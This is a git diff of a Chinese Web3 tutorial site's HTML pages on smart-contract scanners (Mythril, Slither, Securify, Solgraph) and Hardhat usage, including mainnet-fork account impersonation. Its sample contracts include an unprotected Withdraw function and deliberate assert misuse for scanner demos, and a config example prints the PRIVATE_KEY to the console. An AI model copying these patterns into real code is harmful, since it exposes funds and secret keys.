    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/33_Solgraph.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/33_Solgraph.html" index 8b1518dc..4f3e88db 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/33_Solgraph.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/33_Solgraph.html" @@ -36,10 +36,6 @@ - - - - @@ -3036,20 +3032,20 @@

    合约

    contract MyContract {
       uint balance;
     
    -  function MyContract() {
    -    Mint(1000000);
    +  function MyContract() {
    +    Mint(1000000);
       }
     
    -  function Mint(uint amount) internal {
    +  function Mint(uint amount) internal {
         balance = amount;
       }
     
    -  function Withdraw() {
    +  function Withdraw() {
         msg.sender.send(balance);
       }
     
    -  function GetBalance() constant returns(uint) {
    -    return balance;
    +  function GetBalance() constant returns(uint) {
    +    return balance;
       }
     }
     
    @@ -3071,13 +3067,13 @@

    执行

    }

    渲染图片

    -
    # 安装渲染工具
    +
    # 安装渲染工具
     brew install graphviz
     
    -# 执行渲染
    +# 执行渲染
     dot -Tpng MyContract.dot -o MyContract.png
     
    -# Mac用户可以使用内置工具Preview.app查看方式
    +# Mac用户可以使用内置工具Preview.app查看方式
     pbpaste | solgraph | dot -Tpng | open -f -a /Applications/Preview.app
     

    执行效果

    @@ -3114,7 +3110,7 @@

    链接

    @@ -3200,14 +3196,6 @@

    链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/34_Mythril.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/34_Mythril.html" index dfb3b417..230438a5 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/34_Mythril.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/34_Mythril.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,100 +3019,100 @@

    概述

    Install(local)

    pip3 install mythril
     
    -# 如果报错,请依次执行
    +# 如果报错,请依次执行
     python3.10 -m pip install --upgrade pip
     
    -# 大概率是这个包缺失
    +# 大概率是这个包缺失
     pip install maturin
     

    Install(docker)

    docker pull mythril/myth
     

    help

    -
    docker run mythril/myth --help
    +
    docker run mythril/myth --help
     
    -# 以下是输出内容
    +# 以下是输出内容
     positional arguments:
    -  {safe-functions,analyze,a,disassemble,d,list-detectors,read-storage,function-to-hash,hash-to-address,version,help}
    +  {safe-functions,analyze,a,disassemble,d,list-detectors,read-storage,function-to-hash,hash-to-address,version,help}
                             Commands
    -    safe-functions      Check functions which are completely safe using
    +    safe-functions      Check functions which are completely safe using
                             symbolic execution
         analyze (a)         Triggers the analysis of the smart contract
         disassemble (d)     Disassembles the smart contract
         list-detectors      Lists available detection modules
         read-storage        Retrieves storage slots from a given address through
                             rpc
    -    function-to-hash    Returns the hash signature of the function
    -    hash-to-address     converts the hashes in the blockchain to ethereum
    +    function-to-hash    Returns the hash signature of the function
    +    hash-to-address     converts the hashes in the blockchain to ethereum
                             address
         version             Outputs the version
     
     optional arguments:
    -  -h, --help            show this help message and exit
    -  -v LOG_LEVEL          log level (0-5)
    +  -h, --help            show this help message and exit
    +  -v LOG_LEVEL          log level (0-5)
     

    disassemble

    -
    docker run mythril/myth disassemble -c "0x6060"
    +
    docker run mythril/myth disassemble -c "0x6060"
     

    image-20221207111351251

    analyze

    -
    # 指定文件
    -myth analyze 
    -docker run -v $(pwd):/tmp mythril/myth analyze /tmp/
    -
    -# 指定地址
    -myth analyze -a 
    -docker run mythril/myth analyze -a 
    -
    +
    # 指定文件
    +myth analyze <solidity-file>
    +docker run -v $(pwd):/tmp mythril/myth analyze /tmp/<solidity-file>
    +
    +# 指定地址
    +myth analyze -a <contract-address>
    +docker run mythril/myth analyze -a <contract-address>
    +

    演示案例

    创建文件test.sol,内容如下:

    contract Exceptions {
     
    -    uint256[8] myarray;
    -    uint counter = 0;
    -    function assert1() public pure {
    -        uint256 i = 1;
    +    uint256[8] myarray;
    +    uint counter = 0;
    +    function assert1() public pure {
    +        uint256 i = 1;
     
    -          // 会报错,因为assert一般不用来校验参数,而是校验状态变量。
    -        assert(i == 0); 
    +          // 会报错,因为assert一般不用来校验参数,而是校验状态变量。
    +        assert(i == 0); 
         }
    -    function counter_increase() public {
    -        counter+=1;
    +    function counter_increase() public {
    +        counter+=1;
         }
    -    function assert5(uint input_x) public view{
    -        require(counter>2);
    +    function assert5(uint input_x) public view{
    +        require(counter>2);
     
    -          // 会报错,因为assert一般不用来校验参数,而是校验状态变量。
    -        assert(input_x > 10);
    +          // 会报错,因为assert一般不用来校验参数,而是校验状态变量。
    +        assert(input_x > 10);
         }
    -    function assert2() public pure {
    -        uint256 i = 1;
    -        assert(i > 0);
    +    function assert2() public pure {
    +        uint256 i = 1;
    +        assert(i > 0);
         }
     
    -    function assert3(uint256 input) public pure {
    -        assert(input != 23);
    +    function assert3(uint256 input) public pure {
    +        assert(input != 23);
         }
     
    -    function require_is_fine(uint256 input) public pure {
    -        require(input != 23);
    +    function require_is_fine(uint256 input) public pure {
    +        require(input != 23);
         }
     
    -    function this_is_fine(uint256 input) public pure {
    -        if (input > 0) {
    -            uint256 i = 1/input;
    +    function this_is_fine(uint256 input) public pure {
    +        if (input > 0) {
    +            uint256 i = 1/input;
             }
         }
     
    -    function this_is_find_2(uint256 index) public view {
    -        if (index < 8) {
    +    function this_is_find_2(uint256 index) public view {
    +        if (index < 8) {
                 uint256 i = myarray[index];
             }
         }
     }
     

    执行命令:

    -
    docker run -v $(pwd):/tmp mythril/myth analyze /tmp/test.sol
    +
    docker run -v $(pwd):/tmp mythril/myth analyze /tmp/test.sol
     

    Output如下,点击查看完整输出

    @@ -3159,7 +3155,7 @@

    链接

    @@ -3245,14 +3241,6 @@

    链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/35_Slither.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/35_Slither.html" index f1deaf62..9f7473ae 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/35_Slither.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/35_Slither.html" @@ -36,10 +36,6 @@ - - - - @@ -3021,14 +3017,14 @@

    第34节:slither教程

    概述

    合约静态扫描工具🔧,remix有集成,误报率比较高

    安装

    -
    # pip
    +
    # pip
     pip3 install slither-analyzer
     
    -# git 安装
    -git clone https://github.com/crytic/slither.git && cd slither
    +# git 安装
    +git clone https://github.com/crytic/slither.git && cd slither
     python3 setup.py install
     
    -# docker 安装
    +# docker 安装
     docker pull trailofbits/eth-security-toolbox
     docker run -it -v /home/share:/share trailofbits/eth-security-toolbox
     
    @@ -3061,7 +3057,7 @@

    链接

    @@ -3147,14 +3143,6 @@

    链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/36_REMIX\351\235\231\346\200\201\346\211\253\346\217\217\345\267\245\345\205\267.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/36_REMIX\351\235\231\346\200\201\346\211\253\346\217\217\345\267\245\345\205\267.html" index aaa7d196..ceee2e2b 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/36_REMIX\351\235\231\346\200\201\346\211\253\346\217\217\345\267\245\345\205\267.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/36_REMIX\351\235\231\346\200\201\346\211\253\346\217\217\345\267\245\345\205\267.html" @@ -36,10 +36,6 @@ - - - - @@ -3054,7 +3050,7 @@

    链接

    @@ -3140,14 +3136,6 @@

    链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/37_SECURIF.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/37_SECURIF.html" index 0459a27b..25bbbeb2 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/37_SECURIF.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/37_SECURIF.html" @@ -36,10 +36,6 @@ - - - - @@ -3021,7 +3017,7 @@

    第37节:SECURIF

    概述

    Securify 2.0 is a security scanner for Ethereum smart contracts supported by the Ethereum Foundation and ChainSecurity. The core research behind Securify was conducted at the Secure, Reliable, and Intelligent Systems Lab at ETH Zurich.

    安装

    -
    git clone git@github.com:eth-sri/securify2.git
    +
    git clone git@github.com:eth-sri/securify2.git
     
     sudo docker build -t securify .
     
    @@ -3056,7 +3052,7 @@

    链接

    @@ -3142,14 +3138,6 @@

    链接

    - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/index.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/index.html" index 09267403..899828db 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/index.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3098,7 +3094,7 @@

    审计范畴

    @@ -3184,14 +3180,6 @@

    审计范畴

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/01_QuickStart.html" "b/cn/05_hardhat\346\241\206\346\236\266/01_QuickStart.html" index 7c29bdfc..3b04d609 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/01_QuickStart.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/01_QuickStart.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,39 +3019,39 @@

    第一节:快速体验QuickStart职场进阶: https://dukeweb3.com

    实用命令

    -
    ## hh
    +
    ## hh
     npm install --global hardhat-shorthand
     
    -# 查看支持的网络
    +# 查看支持的网络
     npx hardhat verify --list-networks
     

    环境构造

    -
    #创建npm空项目
    +
    #创建npm空项目
     npm init 
     
    -#安装命令,对照两个版本的差异性
    -npm install --save-dev hardhat@2.11.1 # 新案例,新工具包
    +#安装命令,对照两个版本的差异性
    +npm install --save-dev hardhat@2.11.1 # 新案例,新工具包
     npm install --save-dev hardhat@2.9.7
     
    -#创建工程
    +#创建工程
     npx hardhat-》选择高级ts项目
     
    -#运行测试(默认已经不支持)
    +#运行测试(默认已经不支持)
     npx hardhat accounts
     
    -#编译合约
    +#编译合约
     npx hardhat compile
     
    -#单元测试
    -npx hardhat test
    +#单元测试
    +npx hardhat test
     
    -#运行脚本,部署合约
    +#运行脚本,部署合约
     npx hardhat run scripts/deploy.ts
     
    -#启动节点node
    +#启动节点node
     npx hardhat node
     
    -#部署合约到本地node节点
    +#部署合约到本地node节点
     npx hardhat run scripts/deploy.ts --network localhost
     

    目录结构

    @@ -3068,14 +3064,14 @@

    目录结构

    hardhat-toolbox

    当前版本:hardhat:^2.11.1,在配置文件中,引用了hardhat-toolbox包,这是一个集合,安装了常用的npm包。

    -
    import { HardhatUserConfig } from "hardhat/config";
    -import "@nomicfoundation/hardhat-toolbox";
    +
    import { HardhatUserConfig } from "hardhat/config";
    +import "@nomicfoundation/hardhat-toolbox";
     
    -const config: HardhatUserConfig = {
    -  solidity: "0.8.9",
    +const config: HardhatUserConfig = {
    +  solidity: "0.8.9",
     };
     
    -export default config;
    +export default config;
     

    修改配置文件

      @@ -3095,64 +3091,64 @@

      修改配置文件

    1. 安装dotenv

      npm install dotenv
       
      -#在配置文件中引用
      -require('dotenv').config()
      +#在配置文件中引用
      +require('dotenv').config()
       
    2. 配置文件完整内容:

      -
      import { HardhatUserConfig } from "hardhat/config";
      -import "@nomicfoundation/hardhat-toolbox";
      -// import * as dotenv from "dotenv";
      -require('dotenv').config()
      -
      -const PRIVATE_KEY = process.env.PRIVATE_KEY || ''
      -const ALCHEMY_KEY = process.env.ALCHEMY_KEY || ''
      -const INFURA_KEY = process.env.INFURA_KEY || ''
      -const ETHERSCAN_API_KEY = process.env.ETHERSCAN_API_KEY || ''
      -
      -console.log("PRIVATE_KEY: ", PRIVATE_KEY);
      -console.log("ALCHEMY_KEY: ", ALCHEMY_KEY);
      -
      -const config: HardhatUserConfig = {
      -    networks: {
      -        hardhat: {
      +
      import { HardhatUserConfig } from "hardhat/config";
      +import "@nomicfoundation/hardhat-toolbox";
      +// import * as dotenv from "dotenv";
      +require('dotenv').config()
      +
      +const PRIVATE_KEY = process.env.PRIVATE_KEY || ''
      +const ALCHEMY_KEY = process.env.ALCHEMY_KEY || ''
      +const INFURA_KEY = process.env.INFURA_KEY || ''
      +const ETHERSCAN_API_KEY = process.env.ETHERSCAN_API_KEY || ''
      +
      +console.log("PRIVATE_KEY: ", PRIVATE_KEY);
      +console.log("ALCHEMY_KEY: ", ALCHEMY_KEY);
      +
      +const config: HardhatUserConfig = {
      +    networks: {
      +        hardhat: {
               },
      -        goerli: {
      -            url: `https://eth-goerli.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      -            accounts: [PRIVATE_KEY]
      +        goerli: {
      +            url: `https://eth-goerli.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      +            accounts: [PRIVATE_KEY]
               },
      -        mainnet: {
      -            url: `https://eth-mainnet.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      -            accounts: [PRIVATE_KEY]
      +        mainnet: {
      +            url: `https://eth-mainnet.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      +            accounts: [PRIVATE_KEY]
               },
      -        kovan: {
      -            // url: `https://eth-kovan.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      -            url: `https://kovan.infura.io/v3/${INFURA_KEY}`,
      -            accounts: [PRIVATE_KEY]
      +        kovan: {
      +            // url: `https://eth-kovan.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      +            url: `https://kovan.infura.io/v3/${INFURA_KEY}`,
      +            accounts: [PRIVATE_KEY]
               },
      -        ropsten: {
      -            // url: `https://eth-kovan.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      -            url: `https://ropsten.infura.io/v3/${INFURA_KEY}`,
      -            accounts: [PRIVATE_KEY]
      +        ropsten: {
      +            // url: `https://eth-kovan.g.alchemy.com/v2/${ALCHEMY_KEY}`,
      +            url: `https://ropsten.infura.io/v3/${INFURA_KEY}`,
      +            accounts: [PRIVATE_KEY]
               }
           },
      -    solidity: {
      -        version: "0.8.9",
      -        settings: {
      -            optimizer: {
      -                enabled: true,
      -                runs: 200
      +    solidity: {
      +        version: "0.8.9",
      +        settings: {
      +            optimizer: {
      +                enabled: true,
      +                runs: 200
                   }
               }
           },
      -    etherscan: {
      -        apiKey: {
      -          ropsten: ETHERSCAN_API_KEY
      +    etherscan: {
      +        apiKey: {
      +          ropsten: ETHERSCAN_API_KEY
               }
             }
       };
       
      -export default config;
      +export default config;
       
    @@ -3162,7 +3158,7 @@

    修改配置文件

  • Verify

    -
    #https://ropsten.etherscan.io/address/0x61c8E000634154dF38B2ec23483fa2E08984d938#code
    +
    #https://ropsten.etherscan.io/address/0x61c8E000634154dF38B2ec23483fa2E08984d938#code
     
     npx hardhat verify 0x61c8E000634154dF38B2ec23483fa2E08984d938 1694667145  --network ropsten
     
    @@ -3201,7 +3197,7 @@

    参考链接

    @@ -3287,14 +3283,6 @@

    参考链接

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/02_\345\215\225\345\205\203\346\265\213\350\257\225.html" "b/cn/05_hardhat\346\241\206\346\236\266/02_\345\215\225\345\205\203\346\265\213\350\257\225.html" index 9424a732..99e1c13b 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/02_\345\215\225\345\205\203\346\265\213\350\257\225.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/02_\345\215\225\345\205\203\346\265\213\350\257\225.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,26 +3025,26 @@

    第2节:单元测试

  • -
        describe('Create Offer', () => {
    -        it.only('should faild to call createOffer directly', async () => {
    -            let last = await getOffer(lastOffer)
    -            await expect(last.createOffer(tokens, info)).to.revertedWith("Bazaar: permission denied")
    +
        describe('Create Offer', () => {
    +        it.only('should faild to call createOffer directly', async () => {
    +            let last = await getOffer(lastOffer)
    +            await expect(last.createOffer(tokens, info)).to.revertedWith("Bazaar: permission denied")
             })
         })
     
    1. 测试单个文件
    -
    npx hardhat test test/xxx.spec.ts
    +
    npx hardhat test test/xxx.spec.ts
     
    1. 如果测试过程中需要改变块高
    -
    async function mineBlocks(blockNumber) {
    -  while (blockNumber > 0) {
    +
    async function mineBlocks(blockNumber) {
    +  while (blockNumber > 0) {
         blockNumber--;
         await hre.network.provider.request({
    -      method: "evm_mine",
    +      method: "evm_mine",
         });
       }
     }
    @@ -3059,22 +3055,24 @@ 

    第2节:单元测试

  • Sometimes when we run test, it takes very long to execute why? (network issue, disconnect the network may work)

  • Be sure never call any function(make any assignment) out side of beforeEach or a describe or it will fail

    -
    describe("Rivers", async function () {
    -  let accounts: SignerWithAddress[]
    -  let compIns: Comp
    -  let unitrollerIns: Unitroller
    -  let comptrollerIns: Comptroller
    -  let sPriceOracleIns: SimplePriceOracle
    -  let container: Box[] = [];
    -  // accounts = await hre.ethers.getSigners();  <-- error beforeeach(async ()> {
    -    console.log("begin beforeEach");
    -    accounts = await hre.ethers.getSigners();
    -    console.log("accounts len: ", accounts.length);
    -
    -    await loadFixture(deployOpenEdenFixture);
    +
    describe("Rivers", async function () {
    +  let accounts: SignerWithAddress[]
    +  let compIns: Comp
    +  let unitrollerIns: Unitroller
    +  let comptrollerIns: Comptroller
    +  let sPriceOracleIns: SimplePriceOracle
    +  let container: Box[] = [];
    +  // accounts = await hre.ethers.getSigners();  <-- error
    +
    +  beforeEach(async () => {
    +    console.log("begin beforeEach");
    +    accounts = await hre.ethers.getSigners();
    +    console.log("accounts len: ", accounts.length);
    +
    +    await loadFixture(deployOpenEdenFixture);
       })
     })
    -
    +
  • @@ -3104,7 +3102,7 @@

    第2节:单元测试

    @@ -3190,14 +3188,6 @@

    第2节:单元测试

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/03_fork\344\270\273\347\275\221.html" "b/cn/05_hardhat\346\241\206\346\236\266/03_fork\344\270\273\347\275\221.html" index 696e58b2..a52fc71e 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/03_fork\344\270\273\347\275\221.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/03_fork\344\270\273\347\275\221.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,83 +3026,83 @@

    第3节:fork主网

    impersonate_account

    默认情况下,我们的hardaht账户在主网上是没有资产的,因此我们在使用fork功能时,需要impersonate(扮演)成其他地址(这个人在主网上,在我们指定的块高上,是有真实资产的),具体代码如下:

    创建test.fork/sendTransactionFork.ts:(单独创建一个fork的文件夹,与原来的test分开)

    -
    /* eslint-disable no-console */
    -import { network, ethers } from "hardhat";
    -// import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
    -import { JsonRpcServer } from "hardhat/types";
    -import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
    -import { JsonRpcSigner } from "@ethersproject/providers";
    -
    -describe("sendTransaction", () => {
    -  let signer: JsonRpcSigner;
    -  let acc0: SignerWithAddress;
    -
    -  beforeEach(async () => {
    -    // https://etherscan.io/accounts
    -    const ETHWHALE = "0xF977814e90dA44bFA03b6295A0616a897441aceC";
    -    await network.provider.request({
    -      method: "hardhat_impersonateAccount",
    -      params: [ETHWHALE],
    +
    /* eslint-disable no-console */
    +import { network, ethers } from "hardhat";
    +// import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
    +import { JsonRpcServer } from "hardhat/types";
    +import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
    +import { JsonRpcSigner } from "@ethersproject/providers";
    +
    +describe("sendTransaction", () => {
    +  let signer: JsonRpcSigner;
    +  let acc0: SignerWithAddress;
    +
    +  beforeEach(async () => {
    +    // https://etherscan.io/accounts
    +    const ETHWHALE = "0xF977814e90dA44bFA03b6295A0616a897441aceC";
    +    await network.provider.request({
    +      method: "hardhat_impersonateAccount",
    +      params: [ETHWHALE],
         });
     
    -    //1. 获取hardaht内置账户
    -    const accounts = await ethers.getSigners();
    -    acc0 = accounts[0];
    -    console.log("acc0:", acc0.address);
    +    //1. 获取hardaht内置账户
    +    const accounts = await ethers.getSigners();
    +    acc0 = accounts[0];
    +    console.log("acc0:", acc0.address);
     
    -    //2. 查看金额,应该为:10000000000000000000000(这是初始化的值)
    -    let bal = await ethers.provider.getBalance(acc0.address);
    -    console.log("acc0 bal:", bal.toString());
    +    //2. 查看金额,应该为:10000000000000000000000(这是初始化的值)
    +    let bal = await ethers.provider.getBalance(acc0.address);
    +    console.log("acc0 bal:", bal.toString());
     
    -    //3. 重要‼️ acc0扮演成: 三方地址(有真实资产的地址),后续signer代表的就是这个三方地址了,而不是原来的acc0
    +    //3. 重要‼️ acc0扮演成: 三方地址(有真实资产的地址),后续signer代表的就是这个三方地址了,而不是原来的acc0
         signer = ethers.provider.getSigner(ETHWHALE);
    -    bal = await ethers.provider.getBalance(signer.getAddress());
    +    bal = await ethers.provider.getBalance(signer.getAddress());
     
    -    //4. 查看这个资产
    -    console.log("ETHWHALE bal:", bal.toString());
    +    //4. 查看这个资产
    +    console.log("ETHWHALE bal:", bal.toString());
       });
     
    -  describe("sendTransaction Test", () => {
    -    it("should send transaction", async () => {
    -      // 4. 测试一下,用三方地址给我们的acc0转账
    -      await signer.sendTransaction({
    -        to: acc0.address,
    -        value: ethers.utils.parseEther("20"),
    +  describe("sendTransaction Test", () => {
    +    it("should send transaction", async () => {
    +      // 4. 测试一下,用三方地址给我们的acc0转账
    +      await signer.sendTransaction({
    +        to: acc0.address,
    +        value: ethers.utils.parseEther("20"),
           });
     
    -      const bal = await ethers.provider.getBalance(acc0.address);
    -      // 5. 查看acc0的金额,应该是:10020000000000000000000
    -      console.log("new acc0 bal:", bal.toString());
    +      const bal = await ethers.provider.getBalance(acc0.address);
    +      // 5. 查看acc0的金额,应该是:10020000000000000000000
    +      console.log("new acc0 bal:", bal.toString());
         });
       });
     });
     

    修改配置文件

    hardhat.config.ts

    -
    const mainnetFork = MAINNET_FORK  //我们使用环境变量来控制fork与否
    +
    const mainnetFork = MAINNET_FORK  //我们使用环境变量来控制fork与否
       ? {
    -    url: 'urlxxxxx'
    -    blockNumber: 21577481,
    +    url: 'urlxxxxx'
    +    blockNumber: 21577481,
       }
    -  : undefined;
    -
    -const config: HardhatUserConfig = {
    -  networks: {
    -    bsc_main: 'urlxxxxx'
    -    hardhat: {
    -      blockGasLimit: DEFAULT_BLOCK_GAS_LIMIT,
    -      gas: DEFAULT_BLOCK_GAS_LIMIT,
    -      gasPrice: 8000000000,
    -      chainId: 56,
    -      throwOnTransactionFailures: true,
    -      throwOnCallFailures: true,
    -      accounts: 
    -      forking: mainnetFork  // 开关在这里生效
    +  : undefined;
    +
    +const config: HardhatUserConfig = {
    +  networks: {
    +    bsc_main: 'urlxxxxx'
    +    hardhat: {
    +      blockGasLimit: DEFAULT_BLOCK_GAS_LIMIT,
    +      gas: DEFAULT_BLOCK_GAS_LIMIT,
    +      gasPrice: 8000000000,
    +      chainId: 56,
    +      throwOnTransactionFailures: true,
    +      throwOnCallFailures: true,
    +      accounts: 
    +      forking: mainnetFork  // 开关在这里生效
         },
       },
     

    执行代码

    -
     MAINNET_FORK=true npx hardhat test test.fork/sendTransactionFork.ts
    +
     MAINNET_FORK=true npx hardhat test test.fork/sendTransactionFork.ts
     

    image-20221118095707119

    @@ -3136,7 +3132,7 @@

    执行代码

    @@ -3222,14 +3218,6 @@

    执行代码

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/04_\345\244\232\347\211\210\346\234\254\347\274\226\350\257\221.html" "b/cn/05_hardhat\346\241\206\346\236\266/04_\345\244\232\347\211\210\346\234\254\347\274\226\350\257\221.html" index f3288544..2709bdd5 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/04_\345\244\232\347\211\210\346\234\254\347\274\226\350\257\221.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/04_\345\244\232\347\211\210\346\234\254\347\274\226\350\257\221.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,26 +3021,26 @@

    第4节:多版本编译

    解决多版本编译:https://hardhat.org/hardhat-runner/docs/advanced/multiple-solidity-versions

    如果指定多个版本,当合约中未指定明确版本时,hardhat会默认使用最高的版本编译,此时会出现问题;解决办法是对特定的文件明确编译器版本号,即下文中的overrides部分:

    solidity: {
    -        overrides: {
    -            '@uniswap/v3-core/contracts/libraries/FullMath.sol': {
    -                version: '0.7.6'
    +        overrides: {
    +            '@uniswap/v3-core/contracts/libraries/FullMath.sol': {
    +                version: '0.7.6'
                 },
    -            '@uniswap/v3-core/contracts/libraries/TickMath.sol': {
    -                version: '0.7.6'
    +            '@uniswap/v3-core/contracts/libraries/TickMath.sol': {
    +                version: '0.7.6'
                 }
             },
    -        compilers: [
    +        compilers: [
                 {
    -                version: '0.8.10',
    -                settings: {
    -                    optimizer: {
    -                        enabled: true,
    -                        runs: 200
    +                version: '0.8.10',
    +                settings: {
    +                    optimizer: {
    +                        enabled: true,
    +                        runs: 200
                         }
                     }
                 },
                 {
    -                version: '0.6.12'
    +                version: '0.6.12'
                 }
             ]
         },
    @@ -3076,7 +3072,7 @@ 

    第4节:多版本编译

    @@ -3162,14 +3158,6 @@

    第4节:多版本编译

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/05_\345\244\232\347\275\221\347\273\234\351\203\250\347\275\262\347\233\270\345\220\214\345\234\260\345\235\200.html" "b/cn/05_hardhat\346\241\206\346\236\266/05_\345\244\232\347\275\221\347\273\234\351\203\250\347\275\262\347\233\270\345\220\214\345\234\260\345\235\200.html" index 48f56173..45cc5978 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/05_\345\244\232\347\275\221\347\273\234\351\203\250\347\275\262\347\233\270\345\220\214\345\234\260\345\235\200.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/05_\345\244\232\347\275\221\347\273\234\351\203\250\347\275\262\347\233\270\345\220\214\345\234\260\345\235\200.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,47 +3025,47 @@

    第5节:多链部署相同地址

  • hardhat.config.ts中增加:

    -
    import "xdeployer";
    +
    import "xdeployer";
     
  • 增加配置

        xdeploy: {
    -        contract: "Mock1Inch",
    -        //constructorArgsPath: "",
    -        constructorArgsPath: "./deploy-args.ts",
    -        salt: "Bydefi",
    -        signer: process.env.PRIVATE_KEY,
    -        networks: ["hardhat", "ropsten"],
    -        rpcUrls: ["hardhat", NETWORKS_RPC_URL["ropsten"]],
    -        gasLimit: DEFAULT_BLOCK_GAS_LIMIT
    +        contract: "Mock1Inch",
    +        //constructorArgsPath: "",
    +        constructorArgsPath: "./deploy-args.ts",
    +        salt: "Bydefi",
    +        signer: process.env.PRIVATE_KEY,
    +        networks: ["hardhat", "ropsten"],
    +        rpcUrls: ["hardhat", NETWORKS_RPC_URL["ropsten"]],
    +        gasLimit: DEFAULT_BLOCK_GAS_LIMIT
         },
    -    solidity: {
    -        version: "0.8.9",
    -        settings: {
    -            optimizer: {
    -                enabled: true,
    -                runs: 200
    +    solidity: {
    +        version: "0.8.9",
    +        settings: {
    +            optimizer: {
    +                enabled: true,
    +                runs: 200
                 }
             }
         },
     
  • 上述配置中,需要指定构造函数的文件,我们创建:deploy-args.ts,填写相应内容:

    -
    const data = [
    -  "arg1",
    -  "arg2",
    +
    const data = [
    +  "arg1",
    +  "arg2",
       ...
     ];
     
    -export { data };
    +export { data };
     
  • 增加contracts/Create2DeployerLocal.sol(必要的)

    -
    // SPDX-License-Identifier: MIT
    +
    // SPDX-License-Identifier: MIT
     
    -pragma solidity ^0.8.9;
    +pragma solidity ^0.8.9;
     
    -import "xdeployer/src/contracts/Create2Deployer.sol";
    +import "xdeployer/src/contracts/Create2Deployer.sol";
     
     contract Create2DeployerLocal is Create2Deployer {}
     
    @@ -3120,7 +3116,7 @@

    手动部署

    @@ -3206,14 +3202,6 @@

    手动部署

    - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/06_\345\256\236\347\224\250\346\217\222\344\273\266.html" "b/cn/05_hardhat\346\241\206\346\236\266/06_\345\256\236\347\224\250\346\217\222\344\273\266.html" index 29e8d0c8..b411719a 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/06_\345\256\236\347\224\250\346\217\222\344\273\266.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/06_\345\256\236\347\224\250\346\217\222\344\273\266.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,24 +3020,24 @@

    第6节:实用插件

    1. 检查slot布局,优化gas

      -
      # 安装
      +
      # 安装
       npm i hardhat-storage-layout
       
      -# hardhat.config.js
      -require('hardhat-storage-layout');
      +# hardhat.config.js
      +require('hardhat-storage-layout');
       
      -# 运行
      +# 运行
       npx hardhat check
       
    2. 检查合约size

      -
      # 安装
      +
      # 安装
       npm install --save-dev hardhat-contract-sizer
       
      -# hardhat.config.js
      -require('hardhat-contract-sizer');
      +# hardhat.config.js
      +require('hardhat-contract-sizer');
       
      -# 运行
      +# 运行
       npx hardhat size-contracts
       
    3. @@ -3073,7 +3069,7 @@

      第6节:实用插件

      @@ -3159,14 +3155,6 @@

      第6节:实用插件

      - - - - - - - - diff --git "a/cn/05_hardhat\346\241\206\346\236\266/index.html" "b/cn/05_hardhat\346\241\206\346\236\266/index.html" index ba3ae9a5..e776fd63 100644 --- "a/cn/05_hardhat\346\241\206\346\236\266/index.html" +++ "b/cn/05_hardhat\346\241\206\346\236\266/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3066,7 +3062,7 @@

      @@ -3152,14 +3148,6 @@

